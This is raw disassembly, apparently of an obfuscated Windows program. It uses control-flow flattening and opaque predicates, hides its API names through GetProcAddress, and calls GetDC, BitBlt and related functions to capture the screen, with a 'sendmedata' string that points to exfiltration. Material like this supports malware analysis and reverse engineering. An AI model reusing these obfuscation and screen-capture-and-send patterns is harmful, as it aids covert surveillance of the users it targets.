xor ebx, 0xdec9725
mov edi, ebx
and edi, edx
and ebx, esi
mov ecx, edi
not ecx
mov eax, ebx
not eax
mov r9d, ecx
and r9d, 0x9aefe46c
and edi, 0x65101b93
or edi, r9d
or ecx, eax
and eax, 0x9aefe46c
and ebx, 0x65101b93
or ebx, eax
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x6cd2bdb9
and ecx, 0x932d4246
or ecx, eax
mov edi, ecx
xor edi, 0x8a801122
and esi, 0xce27bb7f
mov eax, edx
and eax, 0x31d84480
or eax, esi
xor eax, 0xce27bb7e
and edx, 1
or edx, eax
mov eax, edx
not eax
xor ecx, 0x613e2a9d
mov ebx, ecx
and ebx, 0x357de645
and edi, 0xca8219ba
or edi, ebx
or ecx, edx
and edx, 0x357de645
and eax, 0xca8219ba
or eax, edx
xor eax, edi
not ecx
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0xb2eed91
and eax, ecx
not ecx
and ecx, 0x9d351c41
and edx, 0x62cae3be
or edx, ecx
mov ecx, edx
xor ecx, 0x2080010
xor edx, 0x9240c01
or edx, 0xf4d1126e
mov ebx, eax
not ebx
mov edi, edx
and edi, 0x3103fb86
and ecx, 0xa2c0411
or ecx, edi
or edx, ebx
and ebx, 0x3103fb86
and eax, 0xcefc0479
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xf4d1126e
and edx, 0xb2eed91
or edx, eax
sete al
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg cl
mov ebx, ecx
and al, cl
and cl, r9b
xor bl, r9b
or bl, cl
xor bl, 1
and dl, r9b
or al, dl
xor al, bl
mov ecx, eax
xor cl, 1
and bl, cl
xor cl, bl
test cl, 1
mov ecx, 0x51ba70fa
mov edx, 0xd03172e2
cmovne ecx, edx
test al, al
mov eax, ecx
mov edx, 0x51ba70fa
cmovne eax, edx
test bl, bl
jmp 0x1400149a6
mov r9b, byte [rbp + 6]
mov r8b, byte [rbp + 7]
mov edx, r9d
xor dl, 1
and dl, r9b
xor dl, 1
mov eax, r9d
xor al, dl
or dl, r9b
xor dl, 1
or dl, al
mov r14d, r8d
xor r14b, 1
mov r10d, edx
xor r10b, 1
mov r11d, r14d
or r11b, r8b
mov ecx, r11d
xor cl, 1
mov edi, ecx
xor dil, r14b
and dil, cl
and cl, r14b
mov esi, r10d
xor sil, r14b
or r14b, dl
or dl, r10b
xor dl, 1
mov ebx, edx
xor bl, r9b
or dl, r9b
mov r9d, ebx
xor r9b, 1
xor dl, 1
or dl, bl
xor bl, dl
xor bl, 1
or dl, r9b
xor dl, 1
or dl, bl
and r11b, r8b
or cl, r11b
xor dil, 1
xor cl, 1
mov ebx, edi
xor bl, cl
or cl, dil
xor cl, 1
or cl, bl
xor dl, 1
mov ebx, edx
xor bl, cl
xor bl, 1
and bl, cl
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
xor r10b, r8b
xor r14b, 1
or r14b, r10b
mov ecx, esi
xor cl, r14b
or r14b, sil
xor r14b, 1
or r14b, cl
mov eax, r14d
xor al, 1
mov ebx, edx
mov ecx, eax
or al, dl
xor dl, 1
and bl, dl
and cl, r14b
xor bl, 1
mov r8d, ebx
xor r8b, dl
or bl, dl
xor bl, 1
or bl, r8b
xor cl, 1
mov r8d, ecx
xor r8b, r14b
or cl, r14b
xor cl, 1
or cl, r8b
xor cl, bl
xor dl, r14b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x893f084d
mov ebx, 0xe3c9d33c
cmovne edx, ebx
test al, 1
mov eax, 0x893f084d
jmp 0x140014685
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov eax, 0xeaade1bc
mov ecx, dword [rbp]
mov dword [rbp - 8], ecx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov ecx, dword [0x140064010]
mov eax, dword [0x140064014]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xea6401b1
and edx, 0x159bfe4e
or edx, ecx
mov ebx, edx
xor ebx, 0x591880a
xor edx, 0x22640091
and edx, 0x326e76d5
and ebx, 0xcd91892a
or ebx, edx
mov ecx, ebx
xor ecx, 0x326e76d5
xor ebx, 0xd800922
and ebx, 0xf8c7f32
mov esi, ecx
and esi, 0xf07380cd
or esi, ebx
mov ebx, esi
xor ebx, 0xf07380cd
mov edx, esi
xor edx, 0x6eca2e47
and edx, ebx
and ecx, 0x9eb9ae8a
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0xa0858fc7
and ecx, 0x5f7a7038
or ecx, edx
mov edi, ecx
xor edi, 0x1c380004
xor esi, 0xd045030
and esi, 0x4d56507c
mov edx, ebx
and edx, 0xb2a9af83
or edx, esi
xor edx, 0x4d56507d
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
xor ecx, 0xc1c3deb3
mov esi, ecx
and esi, 0xe384eb78
and edi, 0x1c7b1487
or edi, esi
or ecx, ebx
and ebx, 0xe384eb78
and edx, 0x1c7b1487
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa28db33b
and ecx, 0x5d724cc4
or ecx, edx
mov edx, ecx
xor edx, 0x58020444
xor ecx, 0x8004011a
and ecx, 0x8574499a
and edx, 0x7a8bb665
or edx, ecx
mov ecx, edx
xor ecx, 0x85004192
xor edx, 0x7a8bb665
mov ebx, edx
and ebx, 0x28ff382d
and ecx, 0xd700c7d2
or ecx, ebx
xor ecx, 0xd700c7d2
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov eax, r10d
xor al, r9b
not al
and al, r9b
mov ebx, r10d
or bl, r9b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, r10d
xor r10b, r8b
and r8b, cl
and dl, r9b
or dl, r8b
or cl, r9b
xor cl, 1
or cl, r10b
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and cl, bl
or bl, dl
and dl, al
or dl, cl
mov ecx, ebx
xor cl, dl
test dl, 1
mov eax, 0x9b34539b
mov edx, 0xf17949ae
cmovne eax, edx
test bl, 1
mov ebx, 0x9b34539b
cmovne eax, ebx
jmp 0x140014688
mov rax, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
mov qword [rax], 0
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rax, qword [rax + 0xa8]
mov rbx, qword [rbp + 0x10]
mov rdx, qword [rbp + 0xb8]
sub rsp, 0x30
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov r9d, 2
call rax
add rsp, 0x30
mov eax, 0xf17949ae
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov rcx, qword [rbp + 0x178]
sub rsp, 0x20
call qword [0x140064028]
add rsp, 0x20
mov edx, dword [rbp + 0x194]
mov rcx, qword [rbp + 0x198]
sub rsp, 0x20
call fcn.140007540
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140043460
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r15
lea rcx, [0x140064040]
xor edx, edx
lea r8, [0x140064070]
xor r9d, r9d
call fcn.14002dc50
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, r15
call fcn.140007540
add rsp, 0x20
mov r14, rax
mov rax, qword [rbp + 0x58]
mov rbx, qword [rbp + 0x58]
movaps xmmword [rbx], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx + 0x20], xmm6
mov word [rbx + 0x30], 0
sub rsp, 0x20
mov r8d, 0x32
lea rcx, [0x140063b60]
mov rdx, rbx
call fcn.14000af00
mov rcx, r14
call fcn.140043460
add rsp, 0x20
shl rax, 0x20
movabs rcx, 0xabc30e6347661026
mov rdi, rcx
movabs rdx, 0xd2847fde779787df
add rcx, rdx
sub rdx, rcx
movabs rcx, 0xb6f40bf9c6a75f2f
add rdx, rcx
movabs rsi, 0x7d000000000
sub rsi, rdx
add rsi, rcx
sub rsi, rdi
add rsi, rax
movabs rax, 0xd7697e9b77978b1e
add rsi, rax
movabs rcx, 0xa00828b74c3f0963
add rsi, rcx
sub rsi, rax
sub rsi, rcx
sar rsi, 0x20
sub rsp, 0x20
mov rcx, rsi
call fcn.140042974
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14003c6a0
mov rcx, rbx
call fcn.140043460
mov rcx, rbx
mov rdx, rax
call fcn.140007540
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rdi
lea rdx, str.dtysccid_sdtior_s
lea r8, [0x140064080]
mov r9, r14
call section..text
add rsp, 0x20
mov rax, qword [rbp + 0x60]
mov rsi, qword [rbp + 0x60]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
mov rcx, rsi
lea rdx, str._ymybisvimqjoknhmgryit_sendmedataoknmkehdn_
call fcn.1400436a4
mov rcx, rdi
call fcn.140043460
mov rcx, rdi
mov rdx, rsi
mov r8d, eax
call fcn.14000bcc0
add rsp, 0x20
mov rcx, qword [rbp + 0x198]
sub rsp, 0x20
call fcn.140042960
mov rcx, rdi
call fcn.140042960
mov rcx, rbx
call fcn.140042960
mov rcx, r15
call fcn.140042960
mov rcx, r14
call fcn.140042960
add rsp, 0x20
mov eax, 0x8249f792
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov eax, 0x326d2b8e
mov ecx, dword [rbp + 0x1a8]
mov dword [rbp - 0x14], ecx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov edx, dword [0x140064010]
mov r8d, dword [0x140064014]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xb50e66be
and ecx, 0x4af19941
or ecx, edx
mov edi, ecx
xor edi, 0x4af19941
mov eax, ecx
xor eax, 0xb50e66be
xor ecx, 0xf699fc7f
mov ebx, ecx
and ebx, eax
and ecx, edi
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0xca8bd9de
and ecx, 0x35742621
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8904000e
and edi, 0x6bd2c360
mov edx, eax
and edx, 0x942d3c9f
or edx, edi
xor edx, 0x6bd2c361
and eax, 1
or eax, edx
mov edx, eax
not edx
xor ecx, 0x76e3bce1
mov edi, ecx
and edi, 0x66b85b91
and ebx, 0x9947a46e
or ebx, edi
or ecx, eax
and eax, 0x66b85b91
and edx, 0x9947a46e
or edx, eax
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x35b36a14
and ecx, 0xca4c95eb
or ecx, eax
mov eax, ecx
not eax
and eax, 0xca4c95eb
and ecx, 0x35b36a14
or ecx, eax
mov eax, ecx
not eax
and eax, 0x2b0136ff
and ecx, 0xd4fec900
or ecx, eax
mov eax, ecx
xor eax, 0x842e0900
xor ecx, 0x220122f2
and ecx, 0x72d1e2f2
and eax, 0x8d2e1d0d
or eax, ecx
xor eax, 0x8d2e1d0d
setne r9b
sete cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
mov eax, ebx
xor al, cl
and r9b, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
not al
and dl, cl
or dl, r9b
mov ecx, edx
xor cl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov edx, 0xa75dd0c5
mov eax, 0xc0287f91
cmovne edx, eax
test cl, cl
mov eax, edx
mov ecx, 0xa75dd0c5
cmovne eax, ecx
test bl, bl
cmovne eax, edx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rdx, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov r15, rsp
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x58], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rsi, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov r14, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rdi, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x60], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x28], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x40], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x38], rsp
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm8
mov rcx, qword [0x140063b20]
sub rsp, 0x20
call rbx
call rax
add rsp, 0x20
mov qword [rbp - 0x48], r12
mov r12, rax
movaps xmmword [r15], xmm6
movaps xmmword [r15 + 0x10], xmm6
movaps xmmword [r15 + 0x20], xmm6
mov word [r15 + 0x30], 0
mov dword [r15], 0x44746547
mov byte [r15 + 4], 0x43
mov rcx, qword [0x140063b20]
sub rsp, 0x20
mov rdx, r15
call rbx
mov rcx, r12
call rax
add rsp, 0x20
mov qword [rbp - 0x50], rax
movaps xmmword [r13], xmm6
movaps xmmword [r13 + 0x10], xmm6
movaps xmmword [r13 + 0x20], xmm6
mov word [r13 + 0x30], 0
movabs rax, 0x6e65696c43746547
mov qword [r13], rax
mov dword [r13 + 8], 0x63655274
mov byte [r13 + 0xc], 0x74
mov rcx, qword [0x140063b20]
sub rsp, 0x20
mov rdx, r13
call rbx
mov rcx, r12
mov r12, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x58]
call rax
add rsp, 0x20
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi + 0x20], xmm6
mov word [rsi + 0x30], 0
movaps xmmword [rsi], xmm9
mov rcx, qword [0x140063b20]
sub rsp, 0x20
mov rdx, rsi
call rbx
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov ecx, 0x4e
call rax
add rsp, 0x20
mov r13, rax
sub rsp, 0x20
mov ecx, 0x4f
call rsi
add rsp, 0x20
mov r15, rax
movaps xmmword [r14 + 0x10], xmm6
movaps xmmword [r14 + 0x20], xmm6
mov word [r14 + 0x30], 0
movaps xmmword [r14], xmm7
mov word [r14 + 0x10], 0x4344
mov rcx, qword [0x140063b28]
sub rsp, 0x20
mov rdx, r14
call rbx
mov rsi, qword [rbp - 0x50]
mov rcx, rsi
call rax
add rsp, 0x20
mov r14, rax
movaps xmmword [rdi + 0x10], xmm6
movaps xmmword [rdi + 0x20], xmm6
mov word [rdi + 0x30], 0
movaps xmmword [rdi], xmm7
mov dword [rdi + 0x10], 0x6d746942
mov word [rdi + 0x14], 0x7061
mov rcx, qword [0x140063b28]
sub rsp, 0x20
mov rdx, rdi
call rbx
mov rcx, rsi
mov rdi, rsi
mov edx, r13d
mov r8d, r15d
call rax
add rsp, 0x20
mov rsi, rax
mov rdx, qword [rbp - 0x60]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x624f7463656c6553
mov qword [rdx], rax
mov dword [rdx + 8], 0x7463656a
mov rcx, qword [0x140063b28]
sub rsp, 0x20
call rbx
mov rcx, r14
mov rdx, rsi
call rax
add rsp, 0x20
mov rdx, qword [rbp - 0x28]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov dword [rdx], 0x42746942
mov word [rdx + 4], 0x746c
mov rcx, qword [0x140063b28]
sub rsp, 0x20
call rbx
sub rsp, 0x30
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], r15d
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rcx, r14
xor edx, edx
xor r8d, r8d
mov r9d, r13d
call rax
add rsp, 0x50
mov rdx, qword [rbp - 0x30]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x616974696e496f43
mov qword [rdx], rax
mov dword [rdx + 8], 0x657a696c
mov rcx, qword [0x140063b30]
sub rsp, 0x20
call rbx
xor ecx, ecx
call rax
add rsp, 0x20
mov rsi, qword [rbp - 0x40]
mov qword [rsi], 0
mov rdx, qword [rbp - 0x38]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm10
mov rcx, qword [0x140063b30]
sub rsp, 0x20
call rbx
sub rsp, 0x10
mov qword [rsp + 0x20], rsi
lea rcx, [0x140056950]
xor edx, edx
mov r8d, 1
lea r9, [0x140056970]
call rax
add rsp, 0x30
mov eax, 0x893f084d
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov eax, 0x5b07ad61
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov eax, dword [0x140064010]
lea edi, [rax - 1]
imul edi, eax
mov r8d, edi
not r8d
mov eax, edi
or eax, 0xab37f44a
mov ebx, eax
not ebx
mov ecx, edi
xor ecx, 0x54c80bb5
and ecx, edi
mov esi, ecx
not esi
mov edx, eax
and edx, 0xda334ffe
and ebx, 0x4c80001
or ebx, edx
or eax, esi
and esi, 0xda334ffe
and ecx, 0x25ccb001
or ecx, esi
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xab37f44b
and eax, 0x54c80bb4
or eax, ecx
mov ecx, eax
not ecx
and r8d, 0x4406d991
and edi, 0xbbf9266e
or edi, r8d
mov edx, edi
xor edx, 0x2a30024a
xor edi, 0x4406d991
mov ebx, eax
and ebx, 0x95cd2ca4
and ecx, 0x6a32d35b
or ecx, ebx
or eax, edi
and edi, 0x95cd2ca4
and edx, 0x6a32d35b
or edx, edi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x54a621f
and eax, 0xfab59de0
or eax, ecx
xor eax, 0xfab59de0
sete al
cmp dword [0x140064014], 0xa
setl bl
mov edx, ebx
or dl, al
xor dl, 1
mov ecx, ebx
xor cl, al
or dl, cl
and al, cl
and cl, bl
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
xor cl, 1
mov ebx, edx
or bl, cl
xor cl, dl
mov edx, ebx
xor dl, cl
test cl, 1
mov eax, 0x7d181fc8
mov edi, 0xc6181106
cmovne eax, edi
test bl, 1
mov ecx, 0x7d181fc8
cmovne eax, ecx
test dl, 1
cmove eax, edi
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov ecx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0xdd35ff30
mov edx, ebx
xor edx, 0xdd35ff30
and edx, ebx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x22ca00ce
and edx, 0xdd35ff31
or edx, edi
mov esi, edx
not esi
mov edi, esi
and edi, 0x6c69273f
and edx, 0x9396d8c0
or edx, edi
and ebx, 0x6c69273f
and ecx, 0x9396d8c0
or ecx, ebx
xor ecx, edx
not ecx
or ecx, esi
cmp ecx, 0xffffffff
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor bl, al
and bl, al
not al
and al, cl
xor cl, dl
and cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ebx
xor dl, 1
mov eax, ecx
xor al, 1
and cl, dl
or dl, al
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x21167a2e
mov ebx, 0x4eaf62ad
cmovne eax, ebx
test dl, dl
mov edx, 0x21167a2e
jmp 0x140014389
mov edx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xb0ab8854
and ebx, 0x4f5477ab
or ebx, esi
or ecx, edi
and edi, 0xb0ab8854
and edx, 0x4f5477ab
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
xor edx, 0xbfa3561e
and edx, ecx
not ecx
and ecx, 0xbfa3561e
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x6fe504d3
and edx, 0x901afb2c
or edx, ecx
mov ecx, edx
xor ecx, 0x22a92932
xor edx, 0xd04652cd
mov ebx, edx
and ebx, 0xd52d44c
and ecx, 0xf2ad2bb3
or ecx, ebx
xor ecx, 0xd52d44c
xor edx, ecx
test edx, ecx
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, cl
xor al, 1
or al, dl
mov ebx, eax
not bl
xor dl, cl
mov ecx, edx
xor cl, 1
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0xf4a9091b
mov ecx, 0x1d7674eb
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, 1
mov ecx, 0xf4a9091b
jmp 0x1400149a6
cmp byte [rbp + 0x143], 0
mov eax, 0x5a543129
mov ecx, 0x51e88540
cmovne eax, ecx
mov ecx, dword [rbp + 0x13c]
jmp 0x140014427
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 0x10]
mov rdx, qword [rdx]
sub rsp, 0x20
xor r8d, r8d
call qword [rax + 0x58]
add rsp, 0x20
mov dword [rbp + 0x144], eax
cmp dword [rbp + 0x144], 0
setns byte [rbp + 0x14b]
mov ecx, dword [0x140064010]
mov r8d, dword [0x140064014]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xb3677ad4
and ecx, edx
and edx, 0x4c98852b
or edx, ebx
mov ebx, edx
xor ebx, 0xc88800b
xor edx, 0xb3677ad4
mov edi, ecx
not edi
mov esi, edx
and esi, 0xd2334db4
and ebx, 0x2dccb24b
or ebx, esi
or edx, edi
and edi, 0xd2334db4
and ecx, 0x2dccb24b
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
mov ecx, edx
xor ecx, 0x695c985c
and ecx, edx
not edx
and edx, 0xfc13839e
and eax, 0x3ec7c61
or eax, edx
mov ebx, eax
xor ebx, 0x3ec7c61
xor eax, 0x7c02800e
mov edi, ebx
and edi, 0x695c985c
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
and edi, 0xe9a062b
and ecx, 0xf165f9d4
or ecx, edi
mov edi, ecx
xor edi, 0x18194001
and eax, 0x7c268c0e
mov edx, ebx
and edx, 0x83d973f1
or edx, eax
xor edx, 0x7c268c0f
and ebx, 1
or ebx, edx
mov eax, ebx
not eax
xor ecx, 0x67c69e76
mov edx, ecx
and edx, 0x8762a5fa
and edi, 0x789d5a05
or edi, edx
or ecx, ebx
and ebx, 0x8762a5fa
and eax, 0x789d5a05
or eax, ebx
xor eax, edi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x5c3c3cab
and eax, 0xa3c3c354
or eax, edi
or ecx, ebx
and ebx, 0x5c3c3cab
and edx, 0xa3c3c354
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0xeadbdab3
and ecx, 0x1524254c
or ecx, edx
xor ecx, 0xeadbdab3
xor eax, ecx
test eax, ecx
sete r9b
setne bl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg al
mov ecx, ebx
and cl, al
or bl, dl
and dl, r9b
or dl, cl
xor dl, 1
or dl, al
mov r8d, edx
xor r8b, 1
xor bl, 1
or al, r9b
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov r10d, eax
xor r10b, 1
mov ecx, edx
and cl, r8b
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
mov ebx, ecx
xor bl, 1
and bl, r10b
and cl, al
or cl, bl
xor r10b, dl
or al, r8b
xor al, 1
or al, r10b
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x732cd809
mov ebx, 0x3f0276fe
cmovne edx, ebx
test al, 1
mov eax, 0x732cd809
jmp 0x140014685
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x58]
add rsp, 0x20
mov edx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xdab6a652
and edx, ecx
and ecx, 0x254959ad
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4494080
xor ecx, 0xdab6a652
mov edi, edx
not edi
mov esi, ecx
and esi, 0x73b41f2d
and ebx, 0x8c4be0d2
or ebx, esi
or ecx, edi
and edi, 0x73b41f2d
and edx, 0x8c4be0d2
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0xde56c8e4
and edi, 0x21a9371a
or edi, esi
or edx, ebx
and ebx, 0xde56c8e4
and ecx, 0x21a9371b
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x5efa2c10
and ecx, edx
and edx, 0xa105d3ef
or edx, ebx
mov ebx, edx
xor ebx, 0x54228
xor edx, 0x5efa2c10
mov edi, ecx
not edi
mov esi, edx
and esi, 0xeb42b1c7
and ebx, 0x14bd4e38
or ebx, esi
or edx, edi
and edi, 0xeb42b1c7
and ecx, 0x14bd4e38
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
xor dl, 1
or al, r8b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor cl, 1
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xece7f546
mov ebx, 0xfd181c73
cmovne eax, ebx
test dl, 1
mov edx, 0xece7f546
cmovne eax, edx
test cl, 1
cmove eax, ebx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov rax, qword [rbp + 0x188]
mov eax, 0xcc7730ff
mov dword [rbp - 0x1c], 0
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp byte [rbp + 0xef], 0
mov eax, 0x6972dcdc
mov ecx, 0x97d971a3
cmovne eax, ecx
mov ecx, dword [rbp + 0xe8]
mov dword [rbp - 0x18], ecx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x60]
add rsp, 0x20
mov dword [rbp + 0x14c], eax
cmp dword [rbp + 0x14c], 0
mov eax, 0x5a543129
mov ecx, 0xed29166a
cmovns eax, ecx
mov ecx, dword [rbp + 0x14c]
mov dword [rbp], ecx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov eax, 0xcc7730ff
mov dword [rbp - 0x1c], 1
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
mov edx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x4e7147ea
mov edi, ecx
and edi, 0xb18eb814
or edi, edx
mov edx, edi
xor edx, 0xa0089010
xor edi, 0xe6142e0
mov esi, ecx
or esi, 0x1fe76ae4
and edi, 0x1fe76ae4
and edx, 0xe018951a
or edx, edi
and esi, 0x1fe76ae5
xor esi, edx
and ebx, 0x2613a47
and ecx, 0xfd9ec5b8
or ecx, ebx
